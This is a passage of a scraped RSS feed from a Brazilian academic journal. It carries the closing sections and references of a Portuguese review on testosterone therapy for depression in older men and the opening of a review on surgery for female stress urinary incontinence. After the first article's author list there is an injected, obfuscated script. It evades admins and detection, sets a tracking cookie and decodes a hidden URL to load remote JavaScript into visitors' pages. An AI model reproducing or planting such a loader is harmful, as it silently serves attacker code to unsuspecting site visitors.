<p class="wp-block-paragraph">Embora significativo, o efeito terapêutico da TRT é considerado modesto, mas sua magnitude de eficácia é comparável à de alguns antidepressivos, contudo não os substitui quando necessários (SNYDER, P. J. et al., 2016). A evidência mais forte aponta que a TRT é particularmente eficaz em homens hipogonádicos que apresentam sintomas depressivos de intensidade leve a moderada, ou depressão subclínica (distimia ou depressão menor), e não em quadros de Transtorno Depressivo Maior (BHASIN et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph">Esta eficácia em quadros não-maiores é corroborada por ensaios clínicos randomizados focados. Em um estudo duplo-cego controlado por placebo em homens hipogonadais com depressão subclínica (distimia ou depressão menor), Shores et al. (2009) demonstraram que os homens tratados com TRT tiveram uma redução significativamente maior nos escores de depressão. Notavelmente, a taxa de remissão foi substancialmente maior no grupo TRT (52,9%) em comparação com o placebo (18,8%) (SHORES et al., 2009). Este achado fornece evidência primária direta de que a TRT é uma intervenção eficaz para a depressão subclínica em homens idosos hipogonádicos.&nbsp;</p>



<p class="wp-block-paragraph">Contudo, é fundamental delimitar o escopo da eficácia da TRT, pois a evidência para seu uso no Transtorno Depressivo Maior (TDM) é majoritariamente negativa. Em um ensaio clínico randomizado, duplo-cego e controlado por placebo, Seidman, Miyazaki e Roose (2005) investigaram a suplementação de testosterona intramuscular como adjuvante em homens com TDM resistente ao tratamento (refratários aos ISRS). Os resultados deste estudo não demonstraram diferença estatisticamente significativa na melhora dos sintomas depressivos entre o grupo TRT e o grupo placebo (SEIDMAN; MIYAZAKI; ROOSE, 2005). Este achado é crucial e reforça a conclusão de que a TRT não deve ser considerada uma intervenção de primeira linha para o TDM, mas sim para os quadros subclínicos (distimia) e sintomas de humor associados ao hipogonadismo (SHORES et al., 2009).&nbsp;</p>



<p class="wp-block-paragraph">Resultados do <em>Testosterone Trials</em> (TTrials) demonstraram que a TRT resultou em melhor humor e menor gravidade dos sintomas depressivos em homens a partir dos 65 anos com baixos níveis de Testosterona Total (SNYDER et al., 2016). De forma complementar, o grande ensaio clínico TRAVERSE Trial confirmou que a TRT leva a melhorias pequenas, mas significativamente maiores no humor e na energia em comparação com o placebo, em uma população de alto risco cardiovascular (BHASIN et al., 2024).&nbsp;</p>



<p class="wp-block-paragraph">Portanto, a TRT pode ser considerada uma abordagem eficaz, seja como monoterapia para depressão subclínica em hipogonádicos ou como terapia adjuvante em casos mais complexos, sendo sua indicação baseada na restauração dos níveis hormonais fisiológicos e na avaliação do perfil de risco (POPE JR. et al., 2003).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.3</strong> <strong>Segurança e Implicações Clínicas da TRT&nbsp;</strong></p>



<p class="wp-block-paragraph">As implicações clínicas da TRT extrapolam o foco estrito sobre os sintomas depressivos, estendendo-se a sistemas orgânicos mais amplos. No campo da segurança neurocomportamental, a administração de testosterona, em doses terapêuticas, não se correlacionou com desfechos adversos como o aumento da agressividade ou da ansiedade patológica, conforme evidenciado em estudos controlados (POPE JR. et al., 2003). Em um contexto mais abrangente, a correção da deficiência androgênica tem o potencial de impactar positivamente comorbidades importantes da terceira idade, como a densidade mineral óssea, sendo a baixa testosterona um preditor conhecido de risco para osteoporose (KHOSLA et al., 2001).&nbsp;</p>



<p class="wp-block-paragraph">Nesta perspectiva de tratamento contínuo, evidências longitudinais demonstram que a reposição de testosterona é capaz de sustentar efeitos benéficos duradouros não apenas no humor e na função sexual, mas também na composição corporal, promovendo o aumento da massa magra e a manutenção da densidade mineral óssea. Esses achados sugerem que a TRT oferece um benefício clínico para o homem idoso, atuando simultaneamente na saúde física e mental com um perfil de segurança bem estabelecido quando monitorado adequadamente (WANG et al., 2004).&nbsp;</p>



<p class="wp-block-paragraph">Apesar dos resultados positivos na eficácia, a decisão de iniciar a TRT deve ser baseada em uma avaliação diagnóstica rigorosa e individualizada, dado que a terapia não é isenta de riscos potenciais. Um dos principais riscos relatados é o aumento dos níveis de hemoglobina, que pode levar à policitemia, uma complicação hematológica que exige monitoramento regular do hematócrito (SNYDER et al., 2016).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Preocupações urológicas, como o risco de hipertrofia prostática e a ativação de um câncer de próstata subclínico, requerem que o diagnóstico de hipogonadismo seja confirmado por medições de testosterona sérica, acompanhado por um rastreio detalhado do Antígeno Prostático Específico (PSA) e dos sintomas do trato urinário (SNYDER et al., 2016).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Embora estudos iniciais tenham levantado preocupações sobre o risco cardiovascular (CV), grandes ensaios randomizados, como o TRAVERSE Trial, não encontraram um padrão de aumento de risco CV adverso grave, mas ressaltaram a necessidade de vigilância a longo prazo (BHASIN et al., 2024).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Contudo, em alguns estudos observacionais, a normalização do nível de testosterona foi associada à redução da incidência de infarto do miocárdio e da mortalidade por todas as causas (SNYDER et al., 2016). Em última análise, a indicação da TRT deve ser personalizada, considerando a relação risco-benefício, as comorbidades, como a apneia obstrutiva do sono (apneia do sono), e um rigoroso acompanhamento clínico, que guie a tomada de decisão compartilhada com o paciente (BERCEA et al., 2012).&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>CONSIDERAÇÕES FINAIS&nbsp;</strong></p>



<p class="wp-block-paragraph">As evidências analisadas confirmam uma relação significativa entre o hipogonadismo e a prevalência de sintomas depressivos em homens a partir dos 50 anos, destacando a testosterona biodisponível como um importante preditor biológico dessa sintomatologia. Clinicamente, a Terapia de Reposição de Testosterona (TRT) demonstrou eficácia na melhora do humor e redução de sintomas depressivos, apresentando resultados mais robustos em quadros de depressão subclínica (distimia) e intensidade leve a moderada, em contraste com uma resposta limitada no Transtorno Depressivo Maior resistente, reforçando seu papel como um modulador neuropsiquiátrico seguro que não está associado ao aumento da agressividade.&nbsp;</p>



<p class="wp-block-paragraph">Em suma, a viabilidade terapêutica da TRT depende imperativamente de um diagnóstico rigoroso e individualizado, que pondere a relação risco-benefício diante de comorbidades preexistentes, como apneia do sono e perfil cardiovascular. A terapia estabelece-se como uma estratégia promissora para a promoção da qualidade de vida no envelhecimento masculino, desde que a sua indicação seja acompanhada de monitoramento clínico contínuo de parâmetros de segurança, como a policitemia e a saúde prostática, integrando o equilíbrio hormonal ao manejo da saúde mental.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">ALMEIDA, O. P.; YEAP, B. B.; HANKEY, G. J.; JAMROZIK, K.; FLICKER, L. Low free testosterone concentration as a predictor of future depression in older men: the Health In Men Study. <strong>The Journal of Clinical Endocrinology &amp; Metabolism</strong>, Oxford, v. 93, n. 5, p. 1843– 1849, maio 2008. Disponível em: https://doi.org/10.1001/archgenpsychiatry.2007.33. Acesso em: 2 nov. 2025.&nbsp;</p>



<p class="wp-block-paragraph">BARONE, B. et al. The Role of Testosterone in the Elderly: What Do We Know? <strong>International Journal of Molecular Sciences</strong>, v. 23, n. 7, p. 3535, mar. 2022. Disponível em: https://doi.org/10.3390/ijms23073535. Acesso em: 29 out. 2025&nbsp;</p>



<p class="wp-block-paragraph">BERCEA, R. M. et al. Serum testosterone and depressive symptoms in severe OSA patients.<strong> Andrologia, </strong>2012, v. xx, p. 1-6. Disponível em: https://doi.org/10.1111/and.12022. Acesso em: 14 nov. 2025.<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">BHASIN, S. et al. Depressive Syndromes in Men With Hypogonadism in the TRAVERSE&nbsp;Trial: Response to Testosterone-Replacement Therapy. <strong>The Journal of Clinical Endocrinology &amp; Metabolism</strong>, v. 109, n. 6, p. 1814–1826, fev. 2024. Disponível em: https://doi.org/10.1210/clinem/dgae026. Acesso em: 2 nov. 2025.&nbsp;</p>



<p class="wp-block-paragraph">CHEN, Z. et al. Bioavailable testosterone is associated with symptoms of depression in adult men. <strong>Journal of International Medical Research</strong>, v. 48, n. 8, p. 0300060520941715, ago. 2020. Disponível em: https://doi.org/10.1177/0300060520941715. Acesso em: 2 nov. 2025.&nbsp;</p>



<p class="wp-block-paragraph">DWYER, J. B. et al. Hormonal Treatments for Major Depressive Disorder: State of the Art.&nbsp;<strong>American Journal of Psychiatry</strong>, v. 177, n. 7, p. 686–701, jul. 2020. Disponível em: https://doi.org/10.1176/appi.ajp.2020.19080848. Acesso em: 14 nov. 2025.&nbsp;</p>



<p class="wp-block-paragraph">GILTAY, E. J. et al. Effects of testosterone supplementation on depressive symptoms and sexual dysfunction in hypogonadal men with the metabolic syndrome. <strong>The Journal of Sexual Medicine</strong>, v. 7, n. 7, p. 2572–2582, jul. 2010. Disponível em: https://doi.org/10.1111/j.17436109.2010.01859.x. Acesso em: 10 out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">JOSHI, D.; VAN SCHOOR, N. M.; RONDE, W. D.; SCHAAP, L. A.; COMIJS, H. C.; BEEKMAN, A. T. F.; LIPS, P. Low free testosterone levels are associated with prevalence and incidence of depressive symptoms in older men. <strong>Clinical Endocrinology</strong>, v. 72, n. 2, p. 232240, 2010. Disponível em: https://doi.org/10.1111/j.1365-2265.2009.03641.x. Acesso em: 29 set. 2025.&nbsp;</p>



<p class="wp-block-paragraph">KANEDA, Y.; FUJII, A. No relationship between testosterone levels and depressive symptoms in aging men. <strong>European Psychiatry</strong>, v. 17, n. 7, p. 411–413, dez. 2002. Disponível em: https://doi.org/10.1016/S0924-9338(02)00694-6. Acesso em: 13 set. 2025.&nbsp;</p>



<p class="wp-block-paragraph">KHOSLA, S.; MELTON III, L. J.; ATKINSON, E. J.; O&#8217;FALLON, W. M. Relationship of serum sex steroid levels to longitudinal changes in bone density in young versus elderly men. <strong>The Journal of Clinical Endocrinology &amp; Metabolism</strong>, Oxford, v. 86, n. 8, p. 3555-3561, ago. 2001. Disponível em: https://doi.org/10.1210/jcem.86.8.7736. Acesso em: 17 out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">KURITA, N. et al. Low Testosterone Levels, Depressive Symptoms, and Falls in Older Men:&nbsp;A Cross-Sectional Study. <strong>Journal of the American Medical Directors Association</strong>, v. 15, n. 1, p. 30–35, jan. 2014. Disponível em: https://doi.org/10.1016/j.jamda.2013.11.003. Acesso em: 13 set. 2025&nbsp;</p>



<p class="wp-block-paragraph">MENDES, K. D. S.; SILVEIRA, R. C. C. P.; GALVÃO, C. M. Revisão integrativa: método de pesquisa para a incorporação de evidências na saúde e na enfermagem. <strong>Texto &amp; Contexto Enfermagem</strong>, Florianópolis, v. 17, n. 4, p. 758-764, out./dez. 2008. Disponível em: https://doi.org/10.1590/S0104-07072008000400018. Acesso em 29 set. 2025.&nbsp;</p>



<p class="wp-block-paragraph">MONTEAGUDO, P. T. et al. The imbalance of sex-hormones related to depressive symptoms in obese men. <strong>The Aging Male</strong>, v. 19, n. 3, p. 191-196, out. 2015. Disponível em:&nbsp;https://doi.org/10.3109/13685538.2015.1084500. Acesso em: 14 nov. 2025.&nbsp;</p>



<p class="wp-block-paragraph">POPE JR., H. G. et al. Testosterone gel supplementation for men with refractory depression: a randomized, placebo-controlled trial. <strong>The American Journal of Psychiatry</strong>, Washington, v. 160, n. 1, p. 105-111, jan. 2003. Disponível em: https://doi.org/10.1176/appi.ajp.160.1.105. Acesso em: 17 out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SHORES, M. M.; KIVLAHAN, D. R.; SADAK, T. I.; LI, E. J.; MATSUMOTO, A. M. A randomized, double-blind, placebo-controlled study of testosterone treatment in hypogonadal older men with subthreshold depression (dysthymia or minor depression). <strong>The Journal of Clinical Psychiatry</strong>, v. 70, n. 7, p. 1009–1016, 2009. Disponível em: https://doi.org/10.4088/jcp.08m04478. Acesso em: 2 nov. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SHORES, M. M.; SLOAN, K. L.; MATSUMOTO, A. M.; MOCERI, V. M.; FELKER, B.;&nbsp;KIVLAHAN, D. R. Increased incidence of diagnosed depressive illness in hypogonadal older men. <strong>Archives of General Psychiatry</strong>, v. 61, n. 2, p. 162-167, fev. 2004. Disponível em: https://doi.org/10.1001/archpsyc.61.2.162. Acesso em: 2 nov. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SEIDMAN, S. N.; RABKIN, J. G. Testosterone replacement therapy for hypogonadal men with SSRI-refractory depression. <strong>Journal of Affective Disorders</strong>, v. 48, n. 2-3, p. 157-161, mar. 1998. Disponível em: https://doi.org/10.1016/s0165-0327(97)00168-7. Acesso em: 17 out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SEIDMAN, S. N.; MIYAZAKI, M.; ROOSE, S. P. Intramuscular testosterone supplementation to selective serotonin reuptake inhibitor in treatment-resistant depressed men: randomized placebo-controlled clinical trial. <strong>Journal of Clinical Psychopharmacology</strong>, v. 25, n. 6, p. 584-588, dez. 2005. Disponível em:&nbsp;https://doi.org/10.1097/01.jcp.0000185424.23515.e5. Acesso em: 18 out. 2025.&nbsp;</p>



<p class="wp-block-paragraph">SNYDER, P. J. et al. Effects of testosterone treatment in older men. <strong>The New England Journal of Medicine</strong>, Boston, v. 374, n. 7, p. 611-624, fev. 2016. Disponível em: https://www.nejm.org/doi/full/10.1056/NEJMoa1506119. Acesso em: 29 set. 2025.&nbsp;</p>



<p class="wp-block-paragraph">WALTHER, A. et al. Association of Testosterone Treatment With Alleviation of Depressive Symptoms in Men: A Systematic Review and Meta-analysis. <strong>JAMA Psychiatry</strong>, v. 76, n. 1, p. 31–40, jan. 2019. Disponível em: https://doi.org/10.1001/jamapsychiatry.2018.2734. Acesso em: 14 nov. 2025.</p>



<p class="wp-block-paragraph">WANG, C. et al. Long-term testosterone gel (AndroGel) treatment maintains beneficial effects on sexual function and mood, lean and fat mass, and bone mineral density in hypogonadal men. <strong>The Journal of Clinical Endocrinology &amp; Metabolism</strong>, Oxford, v. 89, n. 5, p. 2085-2098, maio 2004. Disponível em: https://doi.org/10.1210/jc.2003-032006. Acesso em: 17 out. 2025.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Centro Universitário de João Pessoa, Graduando em Medicina, galdinotoscano@gmail.com<br><sup>2</sup>Centro Universitário de João Pessoa, Graduando em Medicina, mheloisamarquessoares@gmail.com<br><sup>3</sup>Centro Universitário de João Pessoa, Graduando em Medicina, tercioramos@gmail.com<br><sup>4</sup>Centro Universitário de João Pessoa, Doutora, elayne@unipe.edu.br<br><sup>5</sup>Centro Universitário de João Pessoa, Mestre, aragaoa@uol.com.br</p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>INCONTINÊNCIA URINÁRIA FEMININA AOS ESFORÇOS: INDICAÇÕES CIRÚRGICAS</title>
		<link>https://revistaft.com.br/incontinencia-urinaria-feminina-aos-esforcos-indicacoes-cirurgicas/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Tue, 16 Dec 2025 16:52:34 +0000</pubDate>
				<category><![CDATA[Medicina]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=259831</guid>

					<description><![CDATA[FEMALE STRESS URINARY INCONTINENCE: SURGICAL INDICATIONS REGISTRO DOI: 10.69849/revistaft/cl10202512161351 Whallas da Silva Coutinho1Amanda Costa Souza2Caroline Pereira Souto3Júlio Davi Costa e Silva4Augusto José de Aragão5Erika Aranha Fernandes Barbosa6 RESUMO&#160; Este estudo analisa as indicações cirúrgicas e a eficácia dos procedimentos para o tratamento da incontinência urinária feminina aos esforços (IUE). A pesquisa objetivou descrever o processo [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">FEMALE STRESS URINARY INCONTINENCE: SURGICAL INDICATIONS</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512161351</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Whallas da Silva Coutinho<sup>1</sup><br>Amanda Costa Souza<sup>2</sup><br>Caroline Pereira Souto<sup>3</sup><br>Júlio Davi Costa e Silva<sup>4</sup><br>Augusto José de Aragão<sup>5</sup><br>Erika Aranha Fernandes Barbosa<sup>6</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph">Este estudo analisa as indicações cirúrgicas e a eficácia dos procedimentos para o tratamento da incontinência urinária feminina aos esforços (IUE). A pesquisa objetivou descrever o processo de avaliação diagnóstica, comparar os principais tipos de <em>slings</em> suburetrais (retropúbico/TVT e transobturatório/TOT) e investigar os resultados clínicos dos tratamentos cirúrgicos. E os específicos, em descrever o processo de avaliação diagnóstica, comparar os principais tipos de slings suburetrais e&nbsp;investigar os resultados clínicos dos tratamentos cirúrgicos. A metodologia utilizada foi uma revisão integrativa de literatura com abordagem qualitativa de leitura narrativa, com o total de vinte e oito artigos encontrados e na seleção final do estudo de dez artigos científicos. A busca ocorreu na Biblioteca Virtual em Saúde (BVS), abrangendo as bases de dados MEDLINE/PubMed, SciELO e, principalmente, LILACS. Os resultados evidenciam que a colocação de <em>slings</em> sintéticos constitui o padrão-ouro, apresentando altas taxas de sucesso clínico, variando entre 80% e 95%. No entanto, a análise reforça a importância crucial de uma avaliação diagnóstica rigorosa e individualizada que precede a cirurgia. Esta abordagem personalizada influencia diretamente a escolha da técnica (TVT e TOT) e otimiza a satisfação da paciente, minimizando riscos de complicações pós-operatórias. Conclui-se que a intervenção cirúrgica é segura e eficaz quando a indicação é guiada pela análise detalhada do histórico clínico e das comorbidades da mulher.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave: </strong>Incontinência Urinária de Esforço. Slings Cirúrgicos. Avaliação Diagnóstica.&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT&nbsp;</strong></p>



<p class="wp-block-paragraph">This study analyzes surgical consultations and the effectiveness of procedures for the treatment of female exercise urinary incontinence (SUI). The research aimed to describe the diagnostic evaluation process, compare the main types of suburethral slings (retropubic/TVT and transobturator/TOT), and investigate the clinical outcomes of surgical treatments. The specific objectives were to describe the&nbsp;diagnostic evaluation process, compare the main types of suburethral slings, and investigate the clinical outcomes of surgical treatments. The methodology used was an integrative literature review with a qualitative narrative approach, with a total of twenty-eight articles found and the final selection of ten scientific articles.The search was conducted in the Virtual Health Library (BVS), covering the MEDLINE/PubMed, SciELO, and primarily the LILACS databases. The results show that the placement of synthetic slings constitutes the gold standard, demonstrating high clinical success rates, ranging between 80% and 95%. However, the analysis also highlights the crucial importance of a rigorous and individualized diagnostic evaluation that precedes the surgery. This personalized approach directly influences the choice of technique (TVT <em>versus</em> TOT) and optimizes patient satisfaction, minimizing the risks of postoperative complications. It is concluded that surgical intervention is safe and effective when the indication is guided by a detailed analysis of the woman&#8217;s clinical history and comorbidities.</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong> Stress Urinary Incontinence. Surgical Slings. Diagnostic Evaluation.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">A incontinência urinária de esforço (IUE) é um distúrbio prevalente que afeta a qualidade de vida, especialmente das mulheres. Definida pela Organização Mundial da Saúde (OMS) como a perda involuntária de urina, a IUE é um sintoma isolado que atinge aproximadamente 27% da população global. A pesquisa de Moreira et al. (2024) reforça a compreensão da IUE não apenas como um sintoma, mas como uma condição médica reconhecida. Em 1998, a OMS incluiu a IUE na Classificação Internacional de Doenças (CID), solidificando seu status como uma enfermidade. Embora afete ambos os sexos, a IUE é mais comum em mulheres devido às alterações físico-funcionais associadas ao processo de envelhecimento. A condição impacta negativamente o bem-estar social e a higiene pessoal, sublinhando a necessidade de abordagens de tratamento e prevenção.&nbsp;</p>



<p class="wp-block-paragraph">Estudos de Rodrigues e Iamamoto (2022) demonstram que a IUE exerce um impacto significativo na qualidade de vida dos indivíduos afetados, especialmente nas mulheres. Essa condição compromete atividades diárias essenciais, prejudicando a rotina e o bem-estar geral. Além disso, os episódios de incontinência estão frequentemente associados a constrangimento social, disfunção sexual e diminuição do desempenho profissional, fatores que podem agravar ainda mais os efeitos psicológicos e emocionais da doença. O impacto multidimensional da incontinência exige uma abordagem terapêutica abrangente e personalizada, visando à melhoria da função urinária e à redução das consequências psicossociais.&nbsp;</p>



<p class="wp-block-paragraph">As consequências podem acarretar diversos tipos de constrangimentos no cotidiano do paciente, impactando de maneira significativa sua qualidade de vida. Entre os efeitos mais prevalentes, destacam-se o isolamento social, o estresse, a depressão, além do embaraço emocional e da diminuição da autoestima. Esses fatores podem gerar uma sensação de incapacidade, resultando em uma morbidade substancial, com comprometimento funcional e psicossocial (Duarte, 2023).&nbsp;</p>



<p class="wp-block-paragraph">A IUE é uma condição que pode afetar milhões de pessoas em todas as faixas etárias, com maior incidência entre mulheres e idosos. Os sintomas associados a essa enfermidade impactam significativamente a qualidade de vida dos indivíduos. Com o aumento da expectativa de vida da população, espera-se que a prevalência da IUE continue a crescer, tornando-se um desafio de saúde pública cada vez mais relevante (Izidro <em>et al.,</em> 2021).&nbsp;</p>



<p class="wp-block-paragraph">A falta de um diagnóstico precoce está relacionada muitas vezes à ausência da procura por assistência, devido a muitos pacientes olharem a atual situação com certo constrangimento e, com isso, adiarem a busca por tratamento, em que, em muitos casos, existe a cura. Outra problemática é por essas pessoas acreditarem que a IUE é uma condição normal e resultado do processo de envelhecimento e não uma doença (Coelho, 2024). Quando analisamos a incidência da IUE, notamos variações. Um estudo com norueguesas mostrou que cerca de 25% das mulheres de 20 anos já apresentam incontinência urinária. No entanto, a prevalência é significativamente maior em faixas etárias mais avançadas, atingindo o pico entre mulheres de 80 a 89 anos (Moser et al., 2022).&nbsp;</p>



<p class="wp-block-paragraph">Os tratamentos para a IUE envolvem mudanças no estilo de vida, como o controle da ingestão de líquidos, exercícios de fortalecimento muscular do assoalho pélvico e reeducação vesical. Nos casos em que tratamentos conservadores não são eficazes, pode ser necessário recorrer a intervenções cirúrgicas (Abreu; Almeida; Souza, 2025).&nbsp;</p>



<p class="wp-block-paragraph">Entre as opções cirúrgicas, destacam-se a colocação de <em>sling</em> (tira de suporte) para mulheres com incontinência de esforço, a suspensão da bexiga para corrigir o prolapso, que trata de uma condição caracterizada pelo deslocamento e descida de um órgão pélvico, e a neuromodulação, que utiliza impulsos elétricos para melhorar a função da bexiga. Cada tipo de tratamento é individualizado conforme as características do paciente, visando à melhora da qualidade de vida e ao controle dos sintomas (Rocha <em>et al.,</em> 2024).&nbsp;</p>



<p class="wp-block-paragraph">A medicina desempenha um papel crucial na identificação dos fatores responsáveis pela incontinência urinária, um distúrbio que afeta muitas pessoas, especialmente mulheres. A avaliação detalhada dos sintomas, histórico médico, exames clínicos e, quando necessário, exames complementares permite a compreensão precisa das causas subjacentes da condição, que podem incluir fraqueza muscular, problemas neurológicos, infecções urinárias ou alterações hormonais (Wibelinger <em>et al., </em>2025).&nbsp;</p>



<p class="wp-block-paragraph">Com base nesse diagnóstico, os profissionais da saúde podem escolher o tratamento mais adequado, que varia desde abordagens conservadoras, como fisioterapia e medicamentos, até intervenções cirúrgicas, se necessário. A personalização do tratamento é essencial para promover a melhoria da qualidade de vida dos pacientes e minimizar os impactos da incontinência urinária em suas rotinas diárias (Rocha <em>et al.,</em> 2024).&nbsp;</p>



<p class="wp-block-paragraph">A incontinência urinária de esforço (IUE) é um problema comum em mulheres, especialmente após a gravidez e com o envelhecimento. Ela causa a perda de urina durante atividades físicas e ao realizar mínimos esforços como tossir, espirrar, rir, se agachar, afetando a qualidade de vida e gerando impactos físicos, emocionais e sociais. Apesar de tratamentos conservadores serem a primeira opção, muitas mulheres não buscam ajuda e, em casos mais graves, as cirurgias se tornam essenciais. A justificativa deste estudo é a necessidade de aprofundar o conhecimento sobre as indicações cirúrgicas para o tratamento da IUE, explorando os procedimentos, benefícios e riscos. A relevância da pesquisa está em fornecer uma visão detalhada para melhorar a tomada de decisão clínica, auxiliando profissionais de saúde a oferecerem um tratamento mais adequado e personalizado, desmistificando a cirurgia e ajudando a restaurar a qualidade de vida das pacientes.&nbsp;</p>



<p class="wp-block-paragraph">O objetivo principal deste estudo foi analisar as indicações cirúrgicas e a eficácia dos procedimentos para o tratamento da incontinência urinária feminina aos esforços, com base na literatura científica. Para isso, a pesquisa visou descrever o processo de avaliação diagnóstica como histórico clínico, exame físico e exames complementares que precedeu a indicação cirúrgica; comparou os principais tipos de <em>slings</em> suburetrais (retropúbico &#8211; TVT e transobturatório &#8211; TOT), destacando as vantagens e desvantagens de cada técnica; e investigou os resultados clínicos dos tratamentos cirúrgicos, incluindo taxas de sucesso, satisfação da paciente e as principais complicações pós-operatórias.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>METODOLOGIA&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">O presente estudo trata-se de uma revisão integrativa da literatura, seguindo as seis etapas propostas por Mendes, Silveira e Galvão (2008): elaboração da pergunta norteadora, busca ou amostragem na literatura, formação do banco de dados, avaliação dos estudos, discussão dos resultados e apresentação da revisão. A pesquisa foi realizada de junho a agosto de 2025.&nbsp;</p>



<p class="wp-block-paragraph">A pergunta norteadora foi elaborada utilizando a estratégia PICO (População: público feminino; Intervenção: indicações cirúrgicas; Desfecho: incontinência urinária aos esforços), resultando na seguinte questão: &#8220;Quais as indicações cirúrgicas para incontinência urinária feminina aos esforços?&#8221;.&nbsp;</p>



<p class="wp-block-paragraph">Para a coleta de dados, a busca foi efetuada na Biblioteca Virtual em Saúde (BVS), incluindo as bases de dados LILACS, MEDLINE/PubMed e SciELO, garantindo uma cobertura abrangente da literatura. Foram utilizados os “Descritores em Ciências da Saúde (DeCS) &#8220;Incontinência urinária&#8221;, &#8220;Mulheres&#8221; e &#8220;Indicações cirúrgicas&#8221;, combinados pelo operador booleano AND. Foram incluídos estudos originais publicados entre 2015 e 2025, disponíveis na íntegra. Foram excluídos da amostra artigos de revisão, teses, dissertações e artigos com resumos indisponíveis ou não disponíveis na íntegra.&nbsp;</p>



<p class="wp-block-paragraph">A seleção dos artigos foi feita em duas etapas: inicialmente por meio da leitura de títulos e resumos, seguida pela leitura na íntegra para confirmar a elegibilidade. Os dados dos estudos selecionados foram extraídos e organizados em um quadro analítico, contendo informações como autores, ano, título, objetivos e conclusões.&nbsp;</p>



<p class="wp-block-paragraph">A análise dos dados foi realizada de forma qualitativa, por meio de leitura narrativa, em que o foco foi determinar as indicações cirúrgicas e a eficácia dos procedimentos para a incontinência urinária aos esforços. A análise concentrou-se nos critérios clínicos de avaliação diagnóstica, na comparação dos <em>slings</em> suburetrais (TVT e TOT), e na investigação dos resultados clínicos e das complicações pós-operatórias dos tratamentos.&nbsp;</p>



<p class="wp-block-paragraph">O processo de seleção dos estudos começou com uma busca em bases de dados eletrônicas. Foram identificados 28 artigos no total, provenientes das bases MEDLINE/PubMed, LILACS e SciELO. A distribuição inicial evidenciou que 14 artigos foram encontrados na LILACS, enquanto MEDLINE/PubMed e SciELO juntas forneceram os outros 14 artigos iniciais. Na primeira fase de triagem, 12 artigos foram excluídos por duplicidade, resultando em 16 estudos únicos. Posteriormente, esses 16 artigos restantes passaram pela triagem de títulos e resumos, na qual 6 artigos foram descartados por não se adequarem ao tema ou ao período de tempo estipulado. Concluídas as etapas de triagem e seleção, a amostra final foi composta por 10 artigos, com a seguinte distribuição de origem: LILACS (5), MEDLINE/PubMed (3) e SciELO (2). Os 10 estudos remanescentes foram lidos na íntegra, resultando na seleção final a todos os critérios de inclusão. A amostra final foi composta por estudos publicados entre 2019 e 2025, abrangendo diferentes desenhos metodológicos. Os achados principais de cada estudo estão detalhados na Tabela 1 nos resultados.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>RESULTADOS E DISCUSSÃO&nbsp;</strong></p>



